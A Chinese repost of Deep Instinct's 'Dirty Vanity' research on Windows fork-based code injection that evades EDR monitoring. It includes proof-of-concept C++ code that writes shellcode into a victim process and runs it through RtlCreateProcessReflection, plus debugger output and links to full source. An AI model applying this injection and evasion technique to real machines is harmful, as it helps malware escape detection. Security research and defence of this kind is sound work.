DirtyVanity:代码注入和EDR绕过的新方法|深度本能

admin 2025-12-22 03:59:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章介绍了一种名为DirtyVanity的新型代码注入技术,它利用Windows操作系统中的fork机制来绕过EDR系统。通过先向目标进程写入有效载荷,然后使用远程fork机制创建目标进程副本,并将派生进程的起始地址设置为有效载荷,从而执行恶意代码。这种方法绕过了传统EDR对分配-写入-执行链的监控,因为从EDR角度看,新派生的进程从未被写入过。文章提供了技术实现细节和代码示例,建议安全研究人员需要关注fork原语的监控。 综合评分: 91 文章分类: 漏洞分析,渗透测试,代码审计,安全工具,免杀


cover_image

Dirty Vanity:代码注入和 EDR 绕过的新方法 | 深度本能

Ots安全

2025年12月19日 12:18 广东

威胁简报

恶意软件

漏洞攻击

Dirty Vanity 是一种新型代码注入技术,它利用了 Windows 操作系统中鲜为人知的机制——fork(分叉)。本文将深入探讨 fork,分析其合法用途,并展示如何通过注入恶意代码来操纵 fork,从而绕过 EDR(事件检测与响应)系统。

实施新的代码注入技术通常遵循简单的公式,这使得防御此类攻击变得容易。但有时,也会出现一些新的、不寻常的技术,常规协议无法对其进行缓解。例如:Dirty Vanity。

分叉背景

进程分叉是指从调用进程创建一个新进程的行为。“fork”这个名称源于UNIX系统中用于创建进程的系统调用——“fork”和“exec”。

Dirty Vanity 滥用了 Windows 中存在的合法 fork 机制。

Windows Fork

Windows 本身并不使用 fork 和 exec 来创建进程。然而,它通过其遗留的 POSIX 子系统(自 1993 年 Windows NT 首个版本起就已包含)支持这些操作,该子系统旨在支持基本的 UNIX 二进制文件执行。POSIX 子系统早已被取代(先是 Windows XP 中的Windows Services for UNIX (SFU),后来是现在的Windows Subsystem for Linux (WSL)),但其代码至今仍然影响着 Windows 系统。

下面介绍的是 psxdll.dll,这是一个 dll 文件,它是该子系统的核心部分,用于导出基本的 UNIX API:

图1:分叉起源

我们可以看到,这个 _fork 内部是通过调用 Ntdll 的 RtlCloneUserProcess 来实现的,该函数执行实际的 fork 操作。

在上面的例子中,我们看到了 Windows Fork 的起源,而以下机制至今仍在使用 Fork:

进程反射——一种进程分叉机制,其目标是对应持续提供服务的进程进行分析。WDI(Windows 诊断基础架构)正是利用进程反射来实现这一目标:

图 2:过程反思

进程快照——允许您捕获进程的部分或全部状态。它可以利用 Windows 内部的 POSIX 分支克隆功能,高效地捕获进程的虚拟地址内容。

恶意用例示例:

通过 fork 进行凭据转储 – 在凭据转储领域,许多防御措施都集中在 LSASS.exe 上,因为它存储了已登录用户的凭据。对于那些利用前面提到的 fork 机制来 fork LSASS 并访问受保护程度较低的 fork 分支内容的防御措施,存在一种 fork 绕过方法:

图 3:通过 Forking 进行凭证转储

总而言之,Windows 包含类似传统 UNIX 分支的功能,但它最初旨在支持这种分支方式,同时还提供了一种功能更强大的远程分支选项。利用 Windows 的这种远程分支能力,我们可以像上述恶意 LSASS 转储用例中那样,操纵防御机制。在 Dirty Vanity 的案例中,我们将演示如何进一步滥用此功能。

分叉 API

在介绍 Dirty Vanity 如何滥用远程 fork 之前,我们将先介绍可以调用 fork 的 Windows API。我们首先介绍支持 POSIX 基本 fork 的 API:

RtlCloneUserProcess(
  ULONG ProcessFlags,
  PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
  PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
  HANDLE DebugPort,
  PRTL_USER_PROCESS_INFORMATION ProcessInformation);

RtlCloneUserProcess 本质上是 NtCreateUserProcess 的一个封装,调用了相同的功能。

NtCreateUserProcess(
  PHANDLE ProcessHandle,
  PHANDLE ThreadHandle,
  ACCESS_MASK ProcessDesiredAccess,
  ACCESS_MASK ThreadDesiredAccess,
  POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG ProcessFlags,
ULONG ThreadFlags,
PVOID ProcessParameters,
PPS_CREATE_INFO CreateInfo,
PPS_ATTRIBUTE_LIST AttributeList);

NtCreateUserProcess 是一个系统调用。它通过在 PPS_ATTRIBUTE_LIST AttributeList 参数中设置 PS_ATTRIBUTE_PARENT_PROCESS 来公开进程派生,如下所示:

NTSTATUS NtForkUserProcess()
{
  HANDLE hProcess = nullptr, hThread = nullptr;
  OBJECT_ATTRIBUTES poa = { sizeof(poa) };
  OBJECT_ATTRIBUTES toa = { sizeof(toa) };
  PS_CREATE_INFO createInfo = {sizeof(createInfo)};
  createInfo.State = PsCreateInitialState;
// 在属性列表中添加父句柄
  PPS_ATTRIBUTE_LIST attributeList;
  PPS_ATTRIBUTE attribute;
  UCHAR attributeListBuffer[FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) + sizeof(PS_ATTRIBUTE) * 1];
memset(attributeListBuffer, 0, sizeof(attributeListBuffer));
&nbsp; attributeList =&nbsp;reinterpret_cast<PPS_ATTRIBUTE_LIST>(attributeListBuffer);
&nbsp; attributeList->TotalLength = FIELD_OFFSET(PS_ATTRIBUTE_LIST, Attributes) +&nbsp;sizeof(PS_ATTRIBUTE) *&nbsp;1;
&nbsp; attribute = &attributeList->Attributes[0];
&nbsp; attribute->Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
&nbsp; attribute->Size =&nbsp;sizeof(HANDLE);
&nbsp; attribute->ValuePtr = GetCurrentProcess();

&nbsp; NtCreateUserProcessFunc&nbsp;const&nbsp;NtCreateUserProcess =&nbsp;reinterpret_cast<NtCreateUserProcessFunc>(GetProcAddress(LoadLibraryA("ntdll.dll"),&nbsp;"NtCreateUserProcess"));
&nbsp; NTSTATUS res = NtCreateUserProcess(&hProcess, &hThread,&nbsp;0,&nbsp;0,&nbsp;nullptr,&nbsp;nullptr, PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, THREAD_CREATE_FLAGS_CREATE_SUSPENDED,&nbsp;nullptr, &createInfo, attributeList);
auto&nbsp;pid = GetProcessId(hProcess);
return&nbsp;res;
}

正如我们所总结的,Windows 分支更强大的变体是远程分支,但是如果我们尝试将本例中的 attribute->ValuePtr = GetCurrentProcess(); 替换为不同的句柄:attribute->ValuePtr = someOtherHandle; 则会失败并出现 STATUS_INVALID_PARAMETER==0xC000000D 错误,这意味着此 API 无法进行远程分支。

远程分叉

接下来,我们将探索进程反射和进程快照背后的 API ,因为这些机制在 Windows 中提供了远程派生功能。

使用 Kernel32!PssCaptureSnapshot 调用进程快照,如果我们沿着调用链向下看,我们会看到 Kernel32!PssCaptureSnapshot 调用 ntdll!PssNtCaptureSnapshot 调用 ntdll!NtCreateProcessEx。

我们来看看 NtCreateProcessEx 及其旧版本 NtCreateProcess。

NtCreateProcessEx(PHANDLE ProcessHandle,
&nbsp; ACCESS_MASK DesiredAccess,
&nbsp; POBJECT_ATTRIBUTES ObjectAttributes ,
&nbsp; HANDLE ParentProcess,
&nbsp; ULONG Flags,
&nbsp; HANDLE SectionHandle,
&nbsp; HANDLE DebugPort,
&nbsp; HANDLE ExceptionPort,
&nbsp; BOOLEAN InJob);
NtCreateProcess(
&nbsp; PHANDLE ProcessHandle,
&nbsp; ACCESS_MASK DesiredAccess,
&nbsp; POBJECT_ATTRIBUTES ObjectAttributes,
&nbsp; HANDLE ParentProcess,
&nbsp; BOOLEAN InheritObjectTable,
&nbsp; HANDLE SectionHandle,
&nbsp; HANDLE DebugPort,
&nbsp; HANDLE ExceptionPort);

NtCreateProcess[Ex] 是两个传统的进程创建系统调用,它们提供了另一种访问进程派生机制的途径。但是,与较新的 NtCreateUserProcess 不同,可以通过将 HANDLE ParentProcess 参数设置为目标进程句柄,来使用它们派生远程进程。

使用 RtlCreateProcessReflection 调用进程反射。

RtlCreateProcessReflection(
&nbsp; HANDLE ProcessHandle,
&nbsp; ULONG Flags,
&nbsp; PVOID StartRoutine,
&nbsp; PVOID StartContext,
&nbsp; HANDLE EventHandle,
&nbsp; T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation);

RtlCreateProcessReflection 将派生由 HANDLE ProcessHandle 表示的进程。

它执行以下操作:

  1. 创建共享内存区。
  2. 将参数填充到共享内存部分。
  3. 将共享内存区域映射到当前进程和目标进程。
  4. 通过调用 RtlpCreateUserThreadEx 在目标进程上创建一个线程。该线程被指示在 ntdll 的 RtlpProcessReflectionStartup 函数中开始执行。
  5. 创建的线程调用 RtlCloneUserProcess 函数,并传递从与发起进程共享的内存映射中获取的参数。如前所述,RtlCloneUserProcess 函数封装了 NtCreateUserProcess 函数,该函数会将当前进程派生到新的目标进程。
  6. 在内核模式下,NtCreateUserProcess 执行与创建新进程时相同的大部分代码路径,唯一的区别是,它调用 PspAllocateProcess 来创建进程对象和初始线程,而 PspAllocateProcess 调用 MmInitializeProcessAddressSpace 时会使用一个标志来指定地址应该是目标进程的写时复制副本,而不是初始进程地址空间。
  7. 如果 RtlCreateProcessReflection 的调用者指定了 PVOID StartRoutine,则 RtlpProcessReflectionStartup 会在关闭之前将执行权转移到该 StartRoutine。如果提供了 PVOID StartContext 作为参数,它也会将其作为参数传递给 RtlpProcessReflectionStartup。

正如你可能已经猜到的那样,PVOID StartRoutine 在 Dirty Vanity 中扮演着关键角色。

大部分的 fork 操作都是在内核模式下完成的,其中最有趣的部分之一是它将目标进程的所有地址空间复制到 fork 的进程,包括动态分配和运行时修改,这就引出了 Dirty Vanity。

代码注入和端点检测与响应 (EDR)

让我们简要介绍一下传统注射的步骤。

为了使注入的代码在目标进程中运行,注入器将执行以下操作:

  • 步骤 1:为 shellcode 分配空间以进行注入,或者找到一个代码洞穴来存放它。

  • 步骤 2:使用各种写入原语将 shellcode 写入步骤 1 中创建的空间。

  • 写入进程内存

  • NtMapViewOfSection

  • GlobalAddAtom

步骤 3:使用各种执行原语执行步骤 2 中编写的 shellcode。

  • NtSetContextThread
  • NtQueueApcThread
  • IAT 钩子及钩子的调用

注入器可以选择任意 Allocate、Write 和 Execute 原语组合,调用它们,并创建注入。

由于注入原语的动态特性,大多数 EDR 会尝试通过钩住所有已知的注入原语来应对注入攻击。以下示例展示了这种方法,其中 Injector.exe 对 Explorer.exe 执行最简单的注入:

图 4:对 Explorer.exe 的简单注入

当 EDR 监控系统时,它会监控同一目标上的所有原始程序,并在 Explorer.exe 上捕获所有这三个程序:

  • 分配 = VirtualAllocEx
  • 将内容写入分配 = WriteProcessMemory
  • 执行写入的内容 = 创建远程线程

当监控到最终执行原语时,EDR 将检测/阻止此注入尝试。

Dirty Vanity在行动

Dirty Vanity 利用之前描述的 Windows 远程 fork 机制,将其作为注入领域的一种新原语——Fork。其背后的概念很简单,包含以下步骤:

1.初始写入步骤:以任何你喜欢的方式将有效载荷分配并写入目标进程,例如:

  • VirtualAllocEx 和 WriteProcessMemory
  • NtCreateSection 和 NtMapViewOfSection
  • 任何其他更可取的方式

2.Fork & Execute 步骤:对目标进程执行远程 fork,并将进程起始地址设置为有效载荷(有效载荷会被 fork 到同一位置),具体操作如下:

  • RtlCreateProcessReflection(PVOID StartRoutine = 指向克隆的 shellcode)
  • NtCreateProcess[Ex] + 对克隆的 shellcode 使用任何执行原语。

让我们将这些步骤应用到之前的例子上:

图 5:Dirty Vanity Flow

Injector.exe 正常启动,首先调用 VirtualAllocEx,然后通过 Explorer.exe 调用 WriteProcessMemory。监控此系统的 EDR 会将这些操作关联起来,并等待第三个执行原语,以将此操作标记为注入。

在 Dirty Vanity 中,预期的执行原语不会发生,而是恢复到远程 fork API。

Explorer.exe 现在被派生到自身的一个副本,并且派生的结果进程包含 Explorer.exe 地址空间的副本,包括从初始写入步骤加载到相同地址的有效载荷,并具有相同的内存保护。

通过将派生进程的起始地址设置为我们的有效载荷,它就会执行。这可以通过以下方式实现:

  1. RtlCreateProcessReflection(PVOID StartRoutine = 指向克隆的 shellcode)
  2. NtCreateProcess[Ex] + 对克隆的 shellcode 进行后续执行原语

完成这些步骤后,我们派生出的 Explorer.exe 包含我们的有效载荷并执行它。

Dirty Vanity 的创新之处在于分叉所创造的分离:虽然分配和写入阶段通常在目标进程上执行,但它们不会被捕获,因为实际的执行阶段(对于从 EDR 角度来看,作为注入来达成交易至关重要)是由分叉的目标进程执行的。

从 EDR 的角度来看,新派生的 Explorer.exe 从未被写入过,对其执行与写入尝试无关。

由于这种独特的执行方式,Dirty Vanity 可以绕过常见的 EDR 检测方法。

运行《Dirty Vanity Flow》的先决条件

要调用 Dirty Vanity,我们需要一个具有以下访问权限的目标进程句柄:

  • RtlCreateProcessReflection 变体:PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE
  • NtCreateProcess[Ex] 变体:PROCESS_CREATE_PROCESS

为了完整实现,目标进程句柄应包含这些访问权限的组合,以及适合您选择的初始写入步骤的访问权限。

Dirty Vanity 通过 RtlCreateProcessReflection

本博客背后的研究重点是使用 RtlCreateProcessReflection 方法进行概念验证。

以下是使用该代码片段实现 Dirty Vanity 效果的示例:

unsignedchar&nbsp;shellcode[] = {0x40,&nbsp;0x55,&nbsp;0x57, ...};
size_t&nbsp;bytesWritten =&nbsp;0;

// 使用适当的权限打开 fork 目标
HANDLE victimHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, TRUE, victimPid);

// 在目标中分配 shellcode 大小
DWORD_PTR shellcodeSize =&nbsp;sizeof(shellcode);
LPVOID baseAddress = VirtualAllocEx(victimHandle,&nbsp;nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 写入 shellcode
BOOL status = WriteProcessMemory(victimHandle, baseAddress, shellcode, shellcodeSize, &bytesWritten);
#define&nbsp;RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002
HMODULE ntlib = LoadLibraryA("ntdll.dll");
Rtl_CreateProcessReflection RtlCreateProcessReflection = (Rtl_CreateProcessReflection)GetProcAddress(ntlib,&nbsp;"RtlCreateProcessReflection");
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = {&nbsp;0&nbsp;};

// Fork target & Execute shellcode base within clone
NTSTATUS ret = RtlCreateProcessReflection(victimHandle, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, baseAddress,&nbsp;NULL,&nbsp;NULL, &info);

最初尝试这个概念验证时,我们使用了一个基本的 MessageBoxA shellcode,结果出现了访问冲突异常:

1:002> g
(6738.da4): Access violation - code c0000005 (first chance)

First-chance exceptions are reported before any exception handling.

This exception may be expected and handled.
USER32!GetDpiForCurrentProcess+0x14:

00007ff8`8b75719c 0fb798661b0000 movzx ebx,word ptr [rax+1B66h] ds:000002d3`6ef92ba6=????
1:002> k
# Child-SP RetAddr Call Site
00000000da`df9ffb10 00007ff8`8b7570c2 USER32!GetDpiForCurrentProcess+0x14
01000000da`df9ffb40 00007ff8`8b75703b USER32!ValidateDpiAwarenessContextEx+0x32
02000000da`df9ffb70 00007ff8`8b7bc2da USER32!SetThreadDpiAwarenessContext+0x4b
03000000da`df9ffba0 00007ff8`8b7bc0d8 USER32!MessageBoxTimeoutW+0x19a
04000000da`df9ffca0 00007ff8`8b7bbcee USER32!MessageBoxTimeoutA+0x108
05000000da`df9ffd00 000002d3`71bf0050 USER32!MessageBoxA+0x4e
06000000da`df9ffd40 00007ff8`8c210000&nbsp;0x000002d3`71bf0050

shellcode 已成功 fork 并执行,但 USER32!MessageBoxA 的内部却无法从 fork 中运行。

简而言之,USER32!MessageBoxA 需要将 user32!gSharedInfo 结构映射到进程。

我们派生的进程缺少该功能,因为 user32!gSharedInfo 通过 ViewUnmap 设置显式映射到每个进程:

“ViewUnmap:视图将不会映射到子进程” – MSDN

这意味着 ViewUnmap 数据(例如 user32!gSharedInfo)对克隆进程的子进程是隐藏的。为了克服这一障碍,我们的概念验证方案采用的方法是使用完全独立的 NTDLL shellcode,因此它不依赖于任何其他组件。

我们使用https://github.com/rainerzufalldererste/windows_x64_shellcode_template作为模板创建了一个自定义的基于 ntdll 的 shellcode,其功能如下:

1.从 LDR 中检测 Ntdll API

2.使用 RtlInitUnicodeString、RtlAllocateHeap 和 RtlCreateProcessParametersEx 创建参数

3.调用 NtCreateUserProcess

  • 进程:C:\Windows\System32\cmd.exe
  • 命令行:/k msg * “Hello from Dirty Vanity”

完整源代码请见:https://github.com/deepinstinct/Dirty-Vanity

总结起来:

图 6:通过 Explorer 的 PID 调用 Dirty Vanity。

图 7:结果进程树,其中派生的 Explorer 子进程正在执行我们的 shellcode。

概括

为了检测代码注入,传统的EDR解决方案会监控并关联同一进程上执行的“分配/写入/执行”操作。Fork API引入了一种新的注入原语——Fork,这挑战了传统的检测方法。

Dirty Vanity 利用 fork 技术将所有 Allocate 和 Write 操作克隆到一个新进程中。从 EDR 的角度来看,这个新进程从未被写入过,因此最终执行时不会被标记为注入。

  • 使用 RtlCreateProcessReflection 进行 Fork 和 Execute,这是本研究的重点。
  • 调用 RtlCreateProcessReflection 或 NtCreateProcess[Ex] 之后执行普通的 Execute 原语,这仍然是一个未探索的路径。

Dirty Vanity 改变了我们看待注入防御的方式,因为 fork 改变了操作系统监控的规则,EDR 必须监控所有出现的 fork 原语,最终跟踪 fork 进程,并以与其父进程相同的知识来处理它们。

如需了解此案的更多详情以及研究过程,请查看 Deep Instinct 研究团队在 Black Hat 大会上的演讲:https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf

References

  • https://github.com/deepinstinct/Dirty-Vanity
  • https://i.blackhat.com/EU-22/Thursday-Briefings/EU-22-Nissan-DirtyVanity.pdf
  • https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/ talking about forking locally with RtlCloneUserProcess & NtCreateUserProcess
  • https://gist.github.com/juntalis/4366916 & https://gist.github.com/Cr4sh/126d844c28a7fbfd25c6 RtlCloneUserProcess usage, and useful constants
  • https://gist.github.com/GeneralTesler/68903f7eb00f047d32a4d6c55da5a05c Credential dump use case using RtlCreateProcessReflection. it took reflection code from the next link
  • https://github.com/hasherezade/pe-sieve/blob/master/utils/process_reflection.cpp RtlCreateProcessReflection source code framework
  • https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/ PssCaptureSnapshot → NtCreateProcessEx
  • Windows Internals 7th part 1 on RtlCreateProcessReflection
  • https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Mandt_win32k_Slides.pdf
  • https://www.youtube.com/watch?v=EkGDSqpfzgg
  • https://github.com/rainerzufalldererste/windows_x64_shellcode_template

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


查看原文:《Dirty Vanity:代码注入和 EDR 绕过的新方法 | 深度本能》

评论:0   参与:  4